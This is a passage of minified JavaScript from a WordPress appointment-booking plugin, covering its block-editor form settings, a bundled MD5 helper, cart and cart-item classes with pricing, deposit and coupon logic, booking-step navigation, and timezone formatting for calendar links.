i}render(){const{form_title:e,show_category:t,show_service:i,show_location:n,show_employee:a,label_category:o,label_service:r,label_location:l,label_employee:p,label_unselected:m,label_option:c,default_category:h,default_service:d,default_location:u,default_employee:g,timepicker_columns:y,show_timepicker_end_time:b,show_add_to_calendar:_,primary_color:v,primary_bg_color:f,secondary_color:w,secondary_bg_color:C,buttons_padding:S,form_width:E}=this.props.attributes,{setAttributes:k}=this.props,P=$(d),I=$(g),T=$(u),D=this.availability.isAvailableServiceCategory(h)?h:\"\",x=this.availability.isAvailableService(P)?P:0,M=this.availability.isAvailableLocation(T)?T:0,A=this.availability.isAvailableEmployee(I)?I:0,B=this.availability.getAvailableServiceCategories(),L=this.availability.getAvailableServices(D,M,A),F=this.availability.getAvailableLocations(x,A),R=this.availability.getAvailableEmployees(x,M),O=this.getSelectOptions(B,\"\",s.__(\"— Any —\",\"motopress-appointment\")),N=this.getSelectOptions(L,0,s.__(\"— Unselected —\",\"motopress-appointment\")),H=this.getSelectOptions(F,0,s.__(\"— Any —\",\"motopress-appointment\")),V=this.getSelectOptions(R,0,s.__(\"— Any —\",\"motopress-appointment\")),z=wp.element.createElement(ne,{label:s.__(\"Show Category?\",\"motopress-appointment\"),help:s.__(\"Show the service category field in the form.\",\"motopress-appointment\"),checked:!1!==i&&t,disabled:!1===i,onChange:e=>{k({show_category:e})}}),q=!1===i?wp.element.createElement(ie,{text:s.sprintf(s.__(\"To enable this option, you need to check the '%s' box.\",\"motopress-appointment\"),s.__(\"Show Service?\",\"motopress-appointment\"))},wp.element.createElement(\"div\",{style:{display:\"inline-block\"}},z)):z,U=wp.element.createElement(ne,{label:s.__(\"Show Service?\",\"motopress-appointment\"),help:s.__(\"Show the service field in the form.\",\"motopress-appointment\"),checked:0===x||i,disabled:0===x,onChange:e=>{k({show_service:e})}}),j=0===x?wp.element.createElement(ie,{text:s.__(\"To enable booking for the specific service only, select the service below first, then uncheck the 'Service' box here.\",\"motopress-appointment\")},wp.element.createElement(\"div\",{style:{display:\"inline-block\"}},U)):U;return wp.element.createElement(React.Fragment,null,wp.element.createElement(oe,null,wp.element.createElement(te,{title:s.__(\"Settings\",\"motopress-appointment\"),initialOpen:!0},wp.element.createElement(se,{label:s.__(\"Form Title\",\"motopress-appointment\"),value:e,onChange:e=>{k({form_title:e})}}),wp.element.createElement(ee,{label:s.__(\"Service\",\"motopress-appointment\"),help:s.__(\"ID of the selected service.\",\"motopress-appointment\"),value:x,onChange:e=>k({default_service:e}),options:N}),q,j,wp.element.createElement(ne,{label:s.__(\"Show Location?\",\"motopress-appointment\"),help:s.__(\"Show the location field in the form.\",\"motopress-appointment\"),checked:n,onChange:e=>{k({show_location:e})}}),wp.element.createElement(ne,{label:s.__(\"Show Employee?\",\"motopress-appointment\"),help:s.__(\"Show the employee field in the form.\",\"motopress-appointment\"),checked:a,onChange:e=>{k({show_employee:e})}}),wp.element.createElement(ne,{label:s.__(\"Show 'Add to Your Calendar?' section.\",\"motopress-appointment\"),help:s.__(\"Allow customers to add an appointment to their own Google, Apple, Outlook, or Yahoo calendar.\",\"motopress-appointment\"),checked:_,onChange:e=>{k({show_add_to_calendar:e})}}),wp.element.createElement(se,{label:s.__(\"Category Field Label\",\"motopress-appointment\"),help:s.__(\"Custom label for the service category field.\",\"motopress-appointment\"),placeholder:s.__(\"Service Category\",\"motopress-appointment\"),value:o,onChange:e=>{k({label_category:e})}}),wp.element.createElement(se,{label:s.__(\"Service Field Label\",\"motopress-appointment\"),help:s.__(\"Custom label for the service field.\",\"motopress-appointment\"),placeholder:s.__(\"Service\",\"motopress-appointment\"),value:r,onChange:e=>{k({label_service:e})}}),wp.element.createElement(se,{label:s.__(\"Location Field Label\",\"motopress-appointment\"),help:s.__(\"Custom label for the location field.\",\"motopress-appointment\"),placeholder:s.__(\"Location\",\"motopress-appointment\"),value:l,onChange:e=>{k({label_location:e})}}),wp.element.createElement(se,{label:s.__(\"Employee Field Label\",\"motopress-appointment\"),help:s.__(\"Custom label for the employee field.\",\"motopress-appointment\"),placeholder:s.__(\"Employee\",\"motopress-appointment\"),value:p,onChange:e=>{k({label_employee:e})}}),wp.element.createElement(se,{label:s.__(\"Unselected Service\",\"motopress-appointment\"),help:s.__(\"Custom label for the unselected service field.\",\"motopress-appointment\"),placeholder:s.__(\"— Select —\",\"motopress-appointment\"),value:m,onChange:e=>{k({label_unselected:e})}}),wp.element.createElement(se,{label:s.__(\"Unselected Option\",\"motopress-appointment\"),help:s.__(\"Custom label for the unselected service category, location and employee fields.\",\"motopress-appointment\"),placeholder:s.__(\"— Any —\",\"motopress-appointment\"),value:c,onChange:e=>{k({label_option:e})}}),wp.element.createElement(ee,{label:s.__(\"Service Category\",\"motopress-appointment\"),help:s.__(\"Slug of the selected service category.\",\"motopress-appointment\"),value:D,onChange:e=>k({default_category:e}),options:O}),wp.element.createElement(ee,{label:s.__(\"Location\",\"motopress-appointment\"),help:s.__(\"ID of the selected location.\",\"motopress-appointment\"),value:M,onChange:e=>k({default_location:e}),options:H}),wp.element.createElement(ee,{label:s.__(\"Employee\",\"motopress-appointment\"),help:s.__(\"ID of the selected employee.\",\"motopress-appointment\"),value:A,onChange:e=>k({default_employee:e}),options:V}),wp.element.createElement(ae,{label:s.__(\"Timepicker Columns Count\",\"motopress-appointment\"),help:s.__(\"The number of columns in the timepicker.\",\"motopress-appointment\"),value:y,onChange:e=>k({timepicker_columns:e}),min:1,max:5}),wp.element.createElement(ne,{label:s.__(\"Show End Time?\",\"motopress-appointment\"),help:s.__(\"Show the time when the appointment ends.\",\"motopress-appointment\"),checked:b,onChange:e=>{k({show_timepicker_end_time:e})}}))),wp.element.createElement(oe,{group:\"styles\"},wp.element.createElement(te,null,wp.element.createElement(\"span\",null,s.__(\"These options only affect what you see on the front end.\",\"motopress-appointment\"))),wp.element.createElement(re,{__experimentalIsRenderedInSidebar:!0,title:s.__(\"Colors\",\"motopress-appointment\"),colorSettings:[{value:v,onChange:e=>{k({primary_color:e})},label:s.__(\"Primary Text Color\",\"motopress-appointment\")},{value:f,onChange:e=>{k({primary_bg_color:e})},label:s.__(\"Primary Background Color\",\"motopress-appointment\")},{value:w,onChange:e=>{k({secondary_color:e})},label:s.__(\"Secondary Text Color\",\"motopress-appointment\")},{value:C,onChange:e=>{k({secondary_bg_color:e})},label:s.__(\"Secondary Background Color\",\"motopress-appointment\")}]}),wp.element.createElement(te,null,wp.element.createElement(se,{label:s.__(\"Form Width\",\"motopress-appointment\"),help:s.__(\"Example: 100%\",\"motopress-appointment\"),value:E,onChange:e=>{k({form_width:e})}}),wp.element.createElement(se,{label:s.__(\"Buttons Padding\",\"motopress-appointment\"),help:s.__(\"Example: 5px 10px\",\"motopress-appointment\"),value:S,onChange:e=>{k({buttons_padding:e})}}))))}};function pe(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,\"default\")?e.default:e}var me,ce,he={exports:{}},de={exports:{}};me=\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\u002F\",ce={rotl:function(e,t){return e\u003C\u003Ct|e>>>32-t},rotr:function(e,t){return e\u003C\u003C32-t|e>>>t},endian:function(e){if(e.constructor==Number)return 16711935&ce.rotl(e,8)|4278255360&ce.rotl(e,24);for(var t=0;t\u003Ce.length;t++)e[t]=ce.endian(e[t]);return e},randomBytes:function(e){for(var t=[];e>0;e--)t.push(Math.floor(256*Math.random()));return t},bytesToWords:function(e){for(var t=[],s=0,i=0;s\u003Ce.length;s++,i+=8)t[i>>>5]|=e[s]\u003C\u003C24-i%32;return t},wordsToBytes:function(e){for(var t=[],s=0;s\u003C32*e.length;s+=8)t.push(e[s>>>5]>>>24-s%32&255);return t},bytesToHex:function(e){for(var t=[],s=0;s\u003Ce.length;s++)t.push((e[s]>>>4).toString(16)),t.push((15&e[s]).toString(16));return t.join(\"\")},hexToBytes:function(e){for(var t=[],s=0;s\u003Ce.length;s+=2)t.push(parseInt(e.substr(s,2),16));return t},bytesToBase64:function(e){for(var t=[],s=0;s\u003Ce.length;s+=3)for(var i=e[s]\u003C\u003C16|e[s+1]\u003C\u003C8|e[s+2],n=0;n\u003C4;n++)8*s+6*n\u003C=8*e.length?t.push(me.charAt(i>>>6*(3-n)&63)):t.push(\"=\");return t.join(\"\")},base64ToBytes:function(e){e=e.replace(\u002F[^A-Z0-9+\\\u002F]\u002Fgi,\"\");for(var t=[],s=0,i=0;s\u003Ce.length;i=++s%4)0!=i&&t.push((me.indexOf(e.charAt(s-1))&Math.pow(2,-2*i+8)-1)\u003C\u003C2*i|me.indexOf(e.charAt(s))>>>6-2*i);return t}},de.exports=ce;var ue=de.exports,ge={utf8:{stringToBytes:function(e){return ge.bin.stringToBytes(unescape(encodeURIComponent(e)))},bytesToString:function(e){return decodeURIComponent(escape(ge.bin.bytesToString(e)))}},bin:{stringToBytes:function(e){for(var t=[],s=0;s\u003Ce.length;s++)t.push(255&e.charCodeAt(s));return t},bytesToString:function(e){for(var t=[],s=0;s\u003Ce.length;s++)t.push(String.fromCharCode(e[s]));return t.join(\"\")}}},ye=ge,be=function(e){return null!=e&&(_e(e)||function(e){return\"function\"==typeof e.readFloatLE&&\"function\"==typeof e.slice&&_e(e.slice(0,0))}(e)||!!e._isBuffer)};function _e(e){return!!e.constructor&&\"function\"==typeof e.constructor.isBuffer&&e.constructor.isBuffer(e)}!function(){var e=ue,t=ye.utf8,s=be,i=ye.bin,n=function(a,o){a.constructor==String?a=o&&\"binary\"===o.encoding?i.stringToBytes(a):t.stringToBytes(a):s(a)?a=Array.prototype.slice.call(a,0):Array.isArray(a)||a.constructor===Uint8Array||(a=a.toString());for(var r=e.bytesToWords(a),l=8*a.length,p=1732584193,m=-271733879,c=-1732584194,h=271733878,d=0;d\u003Cr.length;d++)r[d]=16711935&(r[d]\u003C\u003C8|r[d]>>>24)|4278255360&(r[d]\u003C\u003C24|r[d]>>>8);r[l>>>5]|=128\u003C\u003Cl%32,r[14+(l+64>>>9\u003C\u003C4)]=l;var u=n._ff,g=n._gg,y=n._hh,b=n._ii;for(d=0;d\u003Cr.length;d+=16){var _=p,v=m,f=c,w=h;p=u(p,m,c,h,r[d+0],7,-680876936),h=u(h,p,m,c,r[d+1],12,-389564586),c=u(c,h,p,m,r[d+2],17,606105819),m=u(m,c,h,p,r[d+3],22,-1044525330),p=u(p,m,c,h,r[d+4],7,-176418897),h=u(h,p,m,c,r[d+5],12,1200080426),c=u(c,h,p,m,r[d+6],17,-1473231341),m=u(m,c,h,p,r[d+7],22,-45705983),p=u(p,m,c,h,r[d+8],7,1770035416),h=u(h,p,m,c,r[d+9],12,-1958414417),c=u(c,h,p,m,r[d+10],17,-42063),m=u(m,c,h,p,r[d+11],22,-1990404162),p=u(p,m,c,h,r[d+12],7,1804603682),h=u(h,p,m,c,r[d+13],12,-40341101),c=u(c,h,p,m,r[d+14],17,-1502002290),p=g(p,m=u(m,c,h,p,r[d+15],22,1236535329),c,h,r[d+1],5,-165796510),h=g(h,p,m,c,r[d+6],9,-1069501632),c=g(c,h,p,m,r[d+11],14,643717713),m=g(m,c,h,p,r[d+0],20,-373897302),p=g(p,m,c,h,r[d+5],5,-701558691),h=g(h,p,m,c,r[d+10],9,38016083),c=g(c,h,p,m,r[d+15],14,-660478335),m=g(m,c,h,p,r[d+4],20,-405537848),p=g(p,m,c,h,r[d+9],5,568446438),h=g(h,p,m,c,r[d+14],9,-1019803690),c=g(c,h,p,m,r[d+3],14,-187363961),m=g(m,c,h,p,r[d+8],20,1163531501),p=g(p,m,c,h,r[d+13],5,-1444681467),h=g(h,p,m,c,r[d+2],9,-51403784),c=g(c,h,p,m,r[d+7],14,1735328473),p=y(p,m=g(m,c,h,p,r[d+12],20,-1926607734),c,h,r[d+5],4,-378558),h=y(h,p,m,c,r[d+8],11,-2022574463),c=y(c,h,p,m,r[d+11],16,1839030562),m=y(m,c,h,p,r[d+14],23,-35309556),p=y(p,m,c,h,r[d+1],4,-1530992060),h=y(h,p,m,c,r[d+4],11,1272893353),c=y(c,h,p,m,r[d+7],16,-155497632),m=y(m,c,h,p,r[d+10],23,-1094730640),p=y(p,m,c,h,r[d+13],4,681279174),h=y(h,p,m,c,r[d+0],11,-358537222),c=y(c,h,p,m,r[d+3],16,-722521979),m=y(m,c,h,p,r[d+6],23,76029189),p=y(p,m,c,h,r[d+9],4,-640364487),h=y(h,p,m,c,r[d+12],11,-421815835),c=y(c,h,p,m,r[d+15],16,530742520),p=b(p,m=y(m,c,h,p,r[d+2],23,-995338651),c,h,r[d+0],6,-198630844),h=b(h,p,m,c,r[d+7],10,1126891415),c=b(c,h,p,m,r[d+14],15,-1416354905),m=b(m,c,h,p,r[d+5],21,-57434055),p=b(p,m,c,h,r[d+12],6,1700485571),h=b(h,p,m,c,r[d+3],10,-1894986606),c=b(c,h,p,m,r[d+10],15,-1051523),m=b(m,c,h,p,r[d+1],21,-2054922799),p=b(p,m,c,h,r[d+8],6,1873313359),h=b(h,p,m,c,r[d+15],10,-30611744),c=b(c,h,p,m,r[d+6],15,-1560198380),m=b(m,c,h,p,r[d+13],21,1309151649),p=b(p,m,c,h,r[d+4],6,-145523070),h=b(h,p,m,c,r[d+11],10,-1120210379),c=b(c,h,p,m,r[d+2],15,718787259),m=b(m,c,h,p,r[d+9],21,-343485551),p=p+_>>>0,m=m+v>>>0,c=c+f>>>0,h=h+w>>>0}return e.endian([p,m,c,h])};n._ff=function(e,t,s,i,n,a,o){var r=e+(t&s|~t&i)+(n>>>0)+o;return(r\u003C\u003Ca|r>>>32-a)+t},n._gg=function(e,t,s,i,n,a,o){var r=e+(t&i|s&~i)+(n>>>0)+o;return(r\u003C\u003Ca|r>>>32-a)+t},n._hh=function(e,t,s,i,n,a,o){var r=e+(t^s^i)+(n>>>0)+o;return(r\u003C\u003Ca|r>>>32-a)+t},n._ii=function(e,t,s,i,n,a,o){var r=e+(s^(t|~i))+(n>>>0)+o;return(r\u003C\u003Ca|r>>>32-a)+t},n._blocksize=16,n._digestsize=16,he.exports=function(t,s){if(null==t)throw new Error(\"Illegal argument \"+t);var a=e.wordsToBytes(n(t,s));return s&&s.asBytes?a:s&&s.asString?i.bytesToString(a):e.bytesToHex(a)}}();var ve=pe(he.exports);class fe{setupProperties(){this.itemId=\"\",this.service=null,this.serviceCategories={},this.employee=null,this.location=null,this.date=null,this.time=null,this.capacity=1,this.availableEmployees=[],this.availableLocations=[],this.bookingVariants=[]}constructor(e){this.setupProperties(),this.itemId=e}getDate(){return this.date}getTime(){return this.time}getItemId(){return this.itemId}getAvailableEmployeeIds(){return this.availableEmployees.map((e=>e.id))}getAvailableLocationIds(){return this.availableLocations.map((e=>e.id))}getAvailableIds(){return{service_id:null!==this.service?this.service.id:0,employee_id:null!==this.employee?this.employee.id:0,employee_ids:this.getAvailableEmployeeIds(),location_ids:this.getAvailableLocationIds()}}getIds(){return{service_id:null!==this.service?this.service.id:0,employee_id:null!==this.employee?this.employee.id:0,location_id:null!==this.location?this.location.id:0}}toArray(e=\"all\"){return\"ids\"===e?this.getIds():\"availability\"===e?this.getAvailableIds():\"period\"===e?{date:null!==this.date?E(this.date,\"internal\"):\"\",time:null!==this.time?this.time.toString(\"internal\"):\"\"}:jQuery.extend(this.getIds(),{date:null!==this.date?E(this.date,\"internal\"):\"\",time:null!==this.time?this.time.toString(\"internal\"):\"\",capacity:this.capacity})}isSet(e=\"all\"){let t=!0;return\"all\"!==e&&\"ids\"!==e||(t=t&&null!==this.service&&null!==this.employee&&null!==this.location),\"all\"!==e&&\"period\"!==e||(t=t&&null!==this.date&&null!==this.time),t}isAtTime(e,t){return null!==this.date&&null!==this.time&&E(this.date,\"internal\")==E(e,\"internal\")&&this.time.toString(\"internal\")==t.toString(\"internal\")}getCapacity(){return this.capacity}getMinCapacity(){return null!==this.service?this.service.getMinCapacity(this.getEmployeeId()):1}getMaxCapacity(){return null!==this.service?this.service.getMaxCapacity(this.getEmployeeId()):1}getMinPossibleCapacity(){if(null===this.service)return 1;{let e=this.getMaxCapacity();for(let t of this.bookingVariants)e=Math.min(e,t.minCapacity);return e}}getMaxPossibleCapacity(){if(null===this.service)return 1;{let e=this.getMinCapacity();for(let t of this.bookingVariants)e=Math.max(e,t.maxCapacity);return e}}getCapacityOptions(){if(null===this.service)return[1];{let e=[];for(let t of this.bookingVariants)e=e.concat(c(t.minCapacity,t.maxCapacity));return l(e)}}getPrice(){if(!this.service)return 0;let e=this.employee?this.employee.id:0;return this.service.getPrice(e,this.capacity)}getDeposit(e){let t=0;switch(this.service.depositType){case\"disabled\":default:t=e;break;case\"fixed\":t=this.service.depositAmount;break;case\"percentage\":t=e*this.service.depositAmount\u002F100}return t>e?e:t}getHash(e=\"all\"){return ve(JSON.stringify(this.toArray(e)))}didChange(e,t=\"all\"){return e!==this.getHash(t)}getEmployeeId(){return this.employee?this.employee.getId():0}getEmployee(e){if(null!==this.employee&&this.employee.getId()==e)return this.employee;for(let t of this.availableEmployees)if(t.id==e)return t;return null}getLocationId(){return this.location?this.location.getId():0}getLocation(e){if(null!==this.location&&this.location.id==e)return this.location;for(let t of this.availableLocations)if(t.id==e)return t;return null}getService(){return this.service}hasMultipleAvailableEmployees(){return this.availableEmployees.length>1}hasMultipleAvailableLocations(){return this.availableLocations.length>1}hasMultipleAvailableVariants(){return this.hasMultipleAvailableEmployees()||this.hasMultipleAvailableLocations()}setService(e){this.service=e}setServiceCategories(e){this.serviceCategories=e}setEmployee(e,t=!0){\"number\"==typeof e&&(e=this.getEmployee(e)),this.employee=e,!0===t&&(this.availableEmployees=[e])}setAvailableEmployees(e,t=!0){this.availableEmployees=e,!0===t&&(this.employee=null)}setLocation(e,t=!0){\"number\"==typeof e&&(e=this.getLocation(e)),this.location=e,!0===t&&(this.availableLocations=[e])}setAvailableLocations(e,t=!0){this.availableLocations=e,!0===t&&(this.location=null)}setCapacity(e){this.capacity=e}setBookingVariants(e){this.bookingVariants=[];for(let t of e)this.bookingVariants.push({employeeId:t[0],locationId:t[1],minCapacity:t[2],maxCapacity:t[3]})}getBookingVariantForCapacity(e){for(let t of this.bookingVariants)if(e>=t.minCapacity&&e\u003C=t.maxCapacity)return t;return{employeeId:this.getEmployeeId(),locationId:this.getLocationId(),minCapacity:this.getMinCapacity(),maxCapacity:this.getMaxCapacity()}}removeBookingVariatForEmployee(e){for(let t in this.bookingVariants){this.bookingVariants[t].employeeId==e&&this.bookingVariants.splice(t,1)}}}let we=class{constructor(e=null){this.setupProperties(),null!=e&&this.merge(e)}setupProperties(){this.keys=[],this.values={},this.length=0}merge(e){for(let t in e)this.push(t,e[t])}push(e,t){let s=!this.includesKey(e);return this.values[e]=t,s&&(this.keys.push(e),this.length++),s}find(e,t=null){return this.includesKey(e)?this.values[e]:t}findNext(e,t=null){let s=this.findNextKey(e);return\"\"!==s?this.values[s]:t}findNextKey(e){let t=this.keys.indexOf(e);if(-1===t)return\"\";let s=t+1;return s\u003Cthis.length?this.keys[s]:this.keys[t]}findPrevious(e,t=null){let s=this.findPreviousKey(e);return\"\"!==s?this.values[s]:t}findPreviousKey(e){let t=this.keys.indexOf(e);if(-1===t)return\"\";let s=t-1;return s>=0?this.keys[s]:this.keys[t]}update(e,t){return this.push(e,t)}remove(e){if(!this.includesKey(e))return null;let t=this.values[e];delete this.values[e];let s=this.keys.indexOf(e);return this.keys.splice(s,1),this.length--,t}empty(){return this.keys=[],this.values={},this.length=0,this}isEmpty(){return 0==this.length}includesKey(e){return e in this.values}firstKey(){return this.keys.length>0?this.keys[0]:null}firstValue(){let e=this.firstKey();return null!==e?this.values[e]:null}lastValue(){let e=this.lastKey();return null!=e?this.values[e]:null}lastKey(){return this.isEmpty()?null:this.keys[this.length-1]}cloneKeys(){return[...this.keys]}getColumn(e){let t=[];for(let s of this.keys){let i=this.values[s][e];null!=i&&(Array.isArray(i)?t=t.concat(i):t.push(i))}return l(t)}forEach(e){let t=0;for(let s of this.keys){let i=e(this.values[s],t,s,this);if(t++,!1===i)break}}map(e){let t=[],s=0;for(let i of this.keys)t.push(e(this.values[i],s,i,this)),s++;return t}toArray(){let e=[];for(let t of this.keys)e.push(this.values[t]);return e}getLength(){return this.length}};class Ce{setupProperties(){var e;this.items=new we,this.activeItem=null,this.customerDetails={name:\"\",email:\"\",phone:\"\"},this.paymentDetails={booking_id:0,gateway_id:\"none\"},this.coupon=null,this.bookingNonce=null!==(e=mpaData?.nonces?.mpa_create_booking)&&void 0!==e?e:\"\"}constructor(){this.setupProperties()}createItem(e=\"\"){e||(e=K());let t=new fe(e);return this.items.push(e,t),this.activeItem=t,t}getItem(e){return this.items.find(e)}getActiveItem(){return this.activeItem}getActiveItemId(){return null!==this.activeItem?this.activeItem.getItemId():\"\"}getItems(){return this.items}getItemsCount(){return this.items.getLength()}setActiveItem(e){this.activeItem=\"string\"==typeof e?this.getItem(e):e}removeItem(e){\"string\"==typeof e?this.items.remove(e):this.items.remove(e.getItemId())}isEmpty(){return 0===this.getItemsCount()}getProducts(){let e=[];return this.items.forEach((t=>{null!=t.service&&e.push({name:t.service.name,price:t.getPrice(),capacity:t.getCapacity(),quantity_label:t.getService().getQuantityLabel()})})),e}getSubtotalPrice(e=null){null===e&&(e=this.getProducts());let t=0;for(let s of e)t+=s.price;return t}getTotalPrice(e=null){let t=this.getSubtotalPrice(e);if(this.hasCoupon()){let e=this.coupon.calcDiscountAmount(this);return Math.max(0,t-e)}return t}getDeposit(){let e=0;return this.items.forEach((t=>{let s=t.getPrice();this.hasCoupon()&&(s-=this.coupon.calcDiscountForCartItem(t)),e+=t.getDeposit(s)})),e}getCustomer(){return this.customerDetails}getOrder(){let e=this.getProducts(),t={products:e,subtotal:this.getSubtotalPrice(e),total:this.getTotalPrice(e),customer:this.getCustomer()};return this.hasCoupon()&&(t.coupon={code:this.coupon.getCode(),amount:this.coupon.calcDiscountAmount(this)}),t.deposit=this.getDeposit(),t}getPaymentDetails(){return this.paymentDetails}toArray(e=\"all\"){let t={items:[],customer:this.customerDetails};return this.items.forEach((e=>{e.isSet()&&t.items.push(e.toArray())})),C().settings().isPaymentsEnabled()&&(t.payment_details=this.paymentDetails),this.hasCoupon()&&(t.coupon=this.coupon.getCode()),\"items\"===e?t.items:t}getHash(e=\"all\"){return ve(\"order\"!==e?JSON.stringify(this.toArray(e)):JSON.stringify(this.getOrder()))}didChange(e,t=\"all\"){return e!==this.getHash(t)}setCustomerDetails(e){jQuery.extend(this.customerDetails,e)}setPaymentDetails(e){jQuery.extend(this.paymentDetails,e)}reset(){this.setupProperties()}getMinDate(){let e=null;return this.items.forEach((t=>{t.date&&(!e||e>t.date)&&(e=new Date(t.date.getTime()))})),e||P()}getServiceIds(){let e=this.items.map((e=>null!=e.service?e.service.id:0));return e=l(e),e}updateServices(e){for(let t of e)this.items.forEach((e=>{null!=e.service&&e.service.id===t.id&&(e.service=t)}))}setCoupon(e){this.coupon=e}removeCoupon(){this.coupon=null}hasCoupon(){return null!=this.coupon}testCoupon(){this.hasCoupon()&&!this.coupon.isApplicableForCart(this)&&this.removeCoupon()}getBookingNonce(){return this.bookingNonce}setBookingNonce(e){this.bookingNonce=e}}class Se{constructor(e){this.cart=e,this.steps=new we,this.currentStep=null,this.currentStepId=\"\"}addStep(e){return this.steps.push(e.stepId,e),this}getStep(e){return this.steps.find(e)}mount(e){this.addListeners(e)}addListeners(e){e.children(\".mpa-booking-step\").on(\"mpa_booking_step_next\",((e,t)=>this.onStep(\"next\",t))).on(\"mpa_booking_step_back\",((e,t)=>this.onStep(\"back\",t))).on(\"mpa_booking_step_new\",((e,t)=>this.onStep(\"new\",t))).on(\"mpa_reset_booking\",((e,t)=>this.onStep(\"reset\",t)))}onStep(e,t){if(!t||!t.step||t.step===this.currentStepId)switch(e){case\"next\":this.goToNextStep();break;case\"back\":this.goToPreviousStep();break;case\"new\":this.goToFirstStep();break;case\"reset\":this.reset()}}goToNextStep(){if(this.steps.isEmpty())return;let e=this.currentStep?this.steps.findNextKey(this.currentStepId):this.steps.firstKey();e!==this.currentStepId&&(this.switchStep(e),this.skipNextHiddenSteps())}skipNextHiddenSteps(){null!==this.currentStep&&this.currentStep.ready().finally((()=>{this.currentStep.isHiddenStep&&this.currentStep.submit()}))}goToPreviousStep(){if(this.steps.isEmpty())return;let e=this.currentStep?this.steps.findPreviousKey(this.currentStepId):\"\";e&&e!==this.currentStepId&&(this.switchStep(e),this.skipPreviousHiddenSteps())}skipPreviousHiddenSteps(){null!==this.currentStep&&this.currentStep.ready().finally((()=>{this.currentStep.isHiddenStep&&this.currentStep.cancel()}))}goToFirstStep(){if(this.steps.isEmpty())return;this.cart.createItem(),this.steps.forEach((e=>{\"cart item\"===e.getCartContext()&&e.reset()}));let e=this.steps.firstKey();this.switchStep(e),this.skipNextHiddenSteps()}goToStep(e){this.switchStep(e)}getFirstVisibleStepId(){let e=null;return this.steps.forEach((t=>{if(!1===t.isHiddenStep)return e=t.stepId,!1})),e}isFirstVisibleStepId(e){return this.getFirstVisibleStepId()===e}switchStep(e){let t=this.steps.find(e);null!=t&&(this.isFirstVisibleStepId(e)&&t.hideButtonBack(),null!=this.currentStep&&this.currentStep.hide(),this.currentStep=t,this.currentStepId=e,t.load(),t.ready().finally((()=>t.show())))}reset(){this.cart.reset(),this.goToFirstStep(),this.steps.forEach((e=>{\"cart item\"!==e.getCartContext()&&e.reset()}))}}class Ee{constructor(e,t){this.$element=e,this.cart=t,this.setupProperties(),this.addListeners()}setupProperties(){this.stepId=this.theId(),this.schema=this.propertiesSchema(),this.isActive=!1,this.isLoaded=!1,this.isHiddenStep=!1,this.preventReact=!1,this.preventUpdate=!1,this.hideButtons=!1,this.readyPromise=null,this.$buttons=this.$element.find(\".mpa-actions\"),this.$buttonBack=this.$buttons.find(\".mpa-button-back\"),this.$buttonNext=this.$buttons.find(\".mpa-button-next\")}theId(){return\"abstract\"}getCartContext(){return\"cart\"}propertiesSchema(){return{}}addListeners(){this.$buttonBack.on(\"click\",this.cancel.bind(this)),this.$buttonNext.on(\"click\",this.submit.bind(this))}load(){this.isLoaded?this.readyPromise=this.reload():(this.readyPromise=this.loadEntities(),this.isLoaded=!0)}loadEntities(){return Promise.resolve(this)}reload(){return Promise.resolve(this)}reset(){}ready(){return this.readyPromise}isValidInput(){return!1}setProperty(e,t){if(this.preventUpdate)return;let s=this.validateProperty(e,t);if(s===this[e])return;let i=this.preventReact;this.preventReact=!0,this.updateProperty(e,s),i||(this.isActive&&this.react(),this.preventReact=!1)}resetProperty(e){this.setProperty(e)}validateProperty(e,t){let s=t;if(e in this.schema){let i=this.schema[e];if(null==t)s=i.default;else{switch(i.type){case\"bool\":s=T(t);break;case\"integer\":s=$(t)}if(!Q(s)&&null!=i.options){i.options.indexOf(s)>=0||(s=this[e])}}}else null==t&&(s=null);return s}updateProperty(e,t){let s=this[e];this[e]=t,this.afterUpdate(e,t,s)}afterUpdate(e,t,s){}react(){let e=this.isValidInput();this.$buttonNext.prop(\"disabled\",!e),this.hideButtons&&this.$buttons.toggleClass(\"mpa-hide\",!e)}show(){this.enable(),this.react(),this.$element.removeClass(\"mpa-hide\"),this.readyPromise.finally((()=>this.showReady()))}showReady(){this.$element.addClass(\"mpa-loaded\"),this.hideButtons||this.$buttons.removeClass(\"mpa-hide\")}hide(){this.disable(),this.$element.addClass(\"mpa-hide\")}enable(){this.isActive=!0,this.$buttonBack.prop(\"disabled\",!1),this.$buttonNext.prop(\"disabled\",!1)}disable(){this.isActive=!1,this.$buttonBack.prop(\"disabled\",!0),this.$buttonNext.prop(\"disabled\",!0)}cancel(e){void 0!==e&&e.stopPropagation(),this.isActive&&(this.disable(),this.triggerBack())}submit(e){if(void 0!==e&&e.stopPropagation(),!this.isActive||!this.isValidInput())return;this.disable();let t=this.maybeSubmit();null==t?this.triggerNext():\"object\"!=typeof t?t?this.triggerNext():this.cancelSubmission():t.then(this.triggerNext.bind(this),this.cancelSubmission.bind(this))}maybeSubmit(){}cancelSubmission(){this.enable(),this.react()}triggerBack(){this.$element.trigger(\"mpa_booking_step_back\",{step:this.stepId})}triggerNext(){this.$element.trigger(\"mpa_booking_step_next\",{step:this.stepId})}hideButtonBack(){this.$buttonBack.prop(\"disabled\",!0),this.$buttonBack.toggleClass(\"mpa-hide\",!0)}}class ke{static calculateTimezoneOffset(e){if(\"UTC\"===e)return 0;const[t,s]=e.split(\":\").map(Number);if(isNaN(t)||isNaN(s))throw new Error(\"Unknown timezone format: \"+e);return 60*t+s}static applyTimezoneOffset(e,t){const s=new Date(e);return s.setMinutes(e.getMinutes()-t),s}static isTimezoneProvideByIANA(e){return\u002F^[A-Za-z]+\\\u002F[A-Za-z_]+(\\\u002F[A-Za-z_]+)?$\u002F.test(e)}static formatDateToCalendar(e){return e.toISOString().replace(\u002F-|:|\\.\\d{3}\u002Fg,\"\")}static formatDateToCalendarLocal(e){return e.toISOString().replace(\u002F-|:|\\.\\d{3}|Z\u002Fg,\"\")}static formatDateForOffsetTimeZone(e,t){const s=(new Date).getTimezoneOffset();let i=this.applyTimezoneOffset(e,s);const n=this.calculateTimezoneOffset(t);return i=this.applyTimezoneOffset(i,n),this.formatDateToCalendar(i)}static formatDateForIANATimeZone(e){const t=(new Date).getTimezoneOffset();let s=this.applyTimezoneOffset(e,t);return this.formatDateToCalendarLocal(s)}static formatDateForCalendar(e,t){return this.isTimezoneProvideByIANA(t)?this.formatDateForIANATimeZone(e):this.formatDateForOffsetTimeZone(e,t)}static createICSURL(e,t,s,i,n,a){const o=C().settings().getTimezone();let 